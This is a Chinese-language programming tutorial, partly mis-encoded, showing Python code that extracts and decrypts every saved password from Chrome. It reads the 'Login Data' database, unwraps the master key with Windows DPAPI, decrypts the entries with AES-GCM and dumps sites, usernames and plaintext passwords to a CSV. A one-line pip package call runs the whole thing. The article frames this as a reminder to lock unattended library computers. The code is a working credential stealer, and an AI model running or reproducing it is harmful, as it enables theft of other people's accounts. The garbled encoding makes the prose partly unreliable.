基于Python實(shí)現(xiàn)一鍵獲取電腦瀏覽器的賬號(hào)密碼
導(dǎo)語(yǔ)
發(fā)現(xiàn)很多人在學(xué)校圖書(shū)館喜歡用電腦占座(以古度今,我好像好多年沒(méi)去過(guò)學(xué)校圖書(shū)館了),而且出去的時(shí)候經(jīng)常不鎖屏,為了讓大家養(yǎng)成良好的習(xí)慣,我來(lái)帶大家寫個(gè)小程序吧,無(wú)需輸入任何密碼就可以快速獲取你存儲(chǔ)在電腦瀏覽器中的所有賬號(hào)和密碼,算是通過(guò)實(shí)踐出真知來(lái)給大家提個(gè)醒了~
廢話不多說(shuō),讓我們愉快地開(kāi)始吧~
相關(guān)文件
開(kāi)發(fā)工具
Python版本:3.7.8
相關(guān)模塊:
pikachupytools模塊;
pycryptodome模塊;
以及一些python自帶的模塊。
環(huán)境搭建
安裝Python并添加到環(huán)境變量,pip安裝需要的相關(guān)模塊即可。
原理簡(jiǎn)介
眾所周知,我們的瀏覽器里一般存儲(chǔ)了很多我們?cè)L問(wèn)過(guò)的網(wǎng)站的賬號(hào)和密碼:
一般情況下,查看這些密碼是需要輸入電腦的開(kāi)機(jī)密碼的。但是事實(shí)上,我們也可以通過(guò)其他方式直接查看這些賬號(hào)密碼。例如谷歌瀏覽器里保存賬號(hào)密碼的數(shù)據(jù)庫(kù)文件默認(rèn)路徑為:
os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
我們可以通過(guò)讀取該文件獲得對(duì)應(yīng)的賬號(hào)密碼:
'''讀取數(shù)據(jù)庫(kù)數(shù)據(jù)''' def readdb(self, dbpath, master_key): sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;' client = sqlite3.connect(dbpath) cursor = client.cursor() with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file: cursor.execute(sql) csv_writer = csv.writer(csv_file, dialect=('excel')) if not self.write_heads_flag: csv_writer.writerow(self.csv_heads) self.write_heads_flag = True info = [] for row in cursor.fetchall(): for idx in range(len(self.csv_heads)): if isinstance(row[idx], bytes): info.append(self.decrypt(row[idx], master_key)) else: info.append(row[idx]) csv_writer.writerow(info) info = [] cursor.close() client.close()
其中密碼是加密之后的結(jié)果,打印出來(lái)大概是這樣子的:
但是解密其實(shí)也很簡(jiǎn)單,通過(guò)網(wǎng)上的資料可以知道,我們只需要獲得key值:
'''獲得master key''' def getmasterkey(self, local_state_path): import win32crypt with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp: local_state = fp.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state['os_crypt']['encrypted_key']) master_key = master_key[5:] master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] return master_key
然后根據(jù)key值進(jìn)行解碼就行了:
'''解碼''' def decrypt(self, value, master_key): print(value) if value[:3] == b'v10': from Crypto.Cipher import AES iv, payload = value[3:15], value[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_value = cipher.decrypt(payload) decrypted_value = decrypted_value[:-16].decode() else: import win32crypt decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode() return decrypted_value
解碼之后的運(yùn)行效果結(jié)果如下:
獲得的結(jié)果默認(rèn)保存在results.csv中,截圖如下:
ok,大功告成啦,完整源代碼詳見(jiàn)相關(guān)文件。
想要快速測(cè)試的小伙伴只需要pip安裝一下pikachupytools包:
pip install pikachupytools --upgrade
然后簡(jiǎn)單寫幾行代碼就能調(diào)用運(yùn)行了:
from pytools import pytools tool_client = pytools.pytools() tool_client.execute('decryptbrowser')
到此這篇關(guān)于基于Python實(shí)現(xiàn)一鍵獲取電腦瀏覽器的賬號(hào)密碼的文章就介紹到這了,更多相關(guān)Python瀏覽器賬號(hào)密碼內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
幾個(gè)提升Python運(yùn)行效率的方法之間的對(duì)比
這篇文章主要介紹了幾個(gè)提升Python運(yùn)行效率的方法之間的對(duì)比,包括使用Cython和PyPy等這些熱門方法,需要的朋友可以參考下2015-04-04用scikit-learn和pandas學(xué)習(xí)線性回歸的方法
這篇文章主要介紹了用scikit-learn和pandas學(xué)習(xí)線性回歸的方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06理想高通濾波實(shí)現(xiàn)Python opencv示例
今天小編就為大家分享一篇關(guān)于理想高通濾波實(shí)現(xiàn)Python opencv示例,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧2019-01-01Python3.6+Django2.0以上 xadmin站點(diǎn)的配置和使用教程圖解
django自帶的admin站點(diǎn)雖然功能強(qiáng)大,但是界面不是很好看。這篇文章主要介紹了Python3.6+Django2.0以上 xadmin站點(diǎn)的配置和使用 ,本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-06-06